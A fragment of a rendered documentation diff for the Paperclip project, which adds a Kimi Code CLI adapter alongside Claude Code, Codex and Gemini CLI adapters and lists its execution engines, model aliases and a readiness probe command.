- A live hello probe (`kimi -p "Respond with hello." --output-format stream-json`) to verify CLI readiness
|
||||
|
||||
## Notes
|
||||
|
||||
- Both execution engines are supported: the ACP engine (`kimi acp`, default) and the headless CLI lane (fallback / `engine=cli`).
|
||||
- Available model aliases on a standard install: `kimi-code/kimi-for-coding` (K2.7 Coding), `kimi-code/kimi-for-coding-highspeed` (K2.7 Coding Highspeed), `kimi-code/k3` (K3).
|
||||
@@ -21,6 +21,7 @@ When a heartbeat fires, Paperclip:
|
||||
| [Claude Code](/adapters/claude-local) | `claude_local` | Runs Claude Code CLI locally, with a native ACP engine when available |
|
||||
| [Codex](/adapters/codex-local) | `codex_local` | Runs OpenAI Codex CLI locally, with a native ACP engine when available |
|
||||
| [Gemini CLI](/adapters/gemini-local) | `gemini_local` | Runs Gemini CLI locally (experimental — adapter package exists, not yet in stable type enum) |
|
||||
| [Kimi Code CLI](/adapters/kimi-local) | `kimi_local` | Runs Kimi Code CLI locally through ACP, with headless `-p` mode as a fallback |
|
||||
| OpenCode | `opencode_local` | Runs OpenCode CLI locally (multi-provider `provider/model`) |
|
||||
| Cursor | `cursor` | Runs Cursor in background mode |
|
||||
| Pi | `pi_local` | Runs an embedded Pi agent locally |
|
||||
|
||||
Loaded 100 of 1411 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user